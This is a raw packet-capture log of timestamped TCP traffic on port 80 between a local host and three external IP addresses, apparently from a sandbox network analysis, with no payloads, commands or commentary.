Sep 6, 2024 08:17:06.465836048 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.465862036 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.465872049 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.465883017 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.465895891 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.465905905 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.465905905 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.465931892 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.465941906 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.466933966 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.466976881 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.466984034 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.466995955 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.467035055 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.467124939 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.467135906 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.467145920 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.467156887 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.467183113 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.467194080 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.467648983 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.467665911 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.467690945 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.467708111 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.467761993 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.467807055 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.467813015 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.467818975 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.467828989 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.467849016 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.467856884 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.467866898 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.467866898 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.467900038 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.467911005 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.468015909 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.468033075 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.468044043 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.468051910 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.468082905 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.468102932 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.468139887 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.468157053 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.468167067 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.468199015 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.468209982 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.468317032 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.468328953 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.468339920 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.468354940 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.468367100 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.468395948 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.468477964 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.468492031 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.468503952 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.468513966 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.468525887 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.468534946 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.468535900 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.468552113 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.468561888 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.468563080 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.468575001 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.468575001 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.468588114 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.468600988 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.468602896 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.468611002 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.468625069 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.468642950 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.468664885 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.474052906 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.474071026 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.474092960 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.474123955 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.474174976 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.474215031 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.474241972 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.474253893 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.474263906 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.474276066 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.474288940 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.474330902 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.474416018 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.474519014 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.484417915 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.484458923 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.484460115 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.484469891 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.484498978 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.484513044 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.484534025 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.484545946 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.484556913 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.484569073 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.484579086 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.484582901 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.484618902 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.484735966 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.484776020 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.484805107 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.484838009 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.484924078 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.484967947 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.484981060 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.484992981 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.485033989 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.485078096 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.485095024 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.485105038 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.485126972 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.485141039 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.498966932 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.498987913 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.498999119 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.499015093 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.499033928 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.499068975 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.499080896 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.499089956 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.499103069 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.499114037 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.499118090 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.499146938 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.499157906 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.502279043 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.502298117 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.502307892 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.502350092 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.502373934 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.502413034 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.502427101 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.502439022 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.502449989 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.502465010 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.502470970 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.502497911 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.509365082 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.509417057 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.509440899 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.509453058 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.509480953 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.509637117 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.509646893 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.509658098 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.509669065 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.509679079 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.509685040 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.509701014 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.509725094 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.511365891 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.511383057 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.511434078 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.511459112 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.511509895 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.511521101 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.511522055 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.511533976 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.511549950 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.511567116 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.511730909 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.511742115 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.511751890 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.511769056 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.511780977 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.511785030 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.511791945 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.511804104 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.511812925 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.511815071 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.511832952 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.511861086 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.511893988 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.511904955 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.511915922 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.511953115 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.511991024 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.512001038 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.512012005 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.512023926 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.512042046 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.512068033 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.512094021 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.512105942 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.512116909 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.512151003 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.512161970 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.512469053 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.512485027 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.512496948 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.512512922 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.512521982 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.512547970 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.512557983 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.512562037 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.512578011 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.512586117 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.512589931 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.512600899 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.512610912 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.512629986 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.512649059 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.512656927 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.512690067 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.512708902 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.512721062 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.512737036 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.512752056 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.512759924 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.512764931 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.512772083 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.512784004 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.512797117 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.512799978 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.512814045 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.512814999 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.512854099 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.512870073 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.512881041 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.512891054 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.512903929 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.512914896 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.512922049 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.512939930 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.512955904 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.512991905 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.513004065 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.513021946 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.513031960 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.513032913 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.513042927 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.513044119 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.513060093 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.513083935 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.513178110 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.513228893 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.513289928 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.513300896 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.513339996 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.513421059 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.513432026 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.513446093 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.513458014 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.513469934 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.513478041 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.513480902 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.513483047 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.513494015 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.513503075 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.513504982 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.513515949 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.513529062 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.513533115 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.513534069 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.513551950 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.513566017 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.513567924 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.513577938 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.513587952 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.513598919 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.513607979 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.513608932 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.513619900 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.513629913 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.513637066 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.513641119 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.513648033 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.513653040 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.513664961 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.513668060 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.513675928 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.513690948 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.513715982 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.513983011 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.513994932 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.514003992 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.514033079 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.514062881 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.514064074 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.514079094 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.514090061 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.514101028 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.514112949 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.514127016 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.514153957 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.521951914 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.522005081 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.522016048 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.522034883 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.522054911 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.522073030 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.522084951 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.522095919 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.522108078 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.522109985 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.522123098 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.522142887 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.522324085 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.522332907 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.522368908 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.522370100 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.522393942 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.522408962 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.522437096 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.522496939 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.522511005 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.522522926 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.522541046 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.522550106 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.522552967 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.522566080 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.522577047 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.522586107 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.522607088 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.522609949 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.522619009 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.522639036 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.522650003 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.522654057 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.522663116 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.522672892 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.522679090 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.522702932 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.523353100 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.523397923 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.523410082 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.523410082 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.523444891 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.523444891 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.523454905 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.523469925 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.523480892 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.523483992 CEST	49733	80	192.168.2.4	147.45.44.104
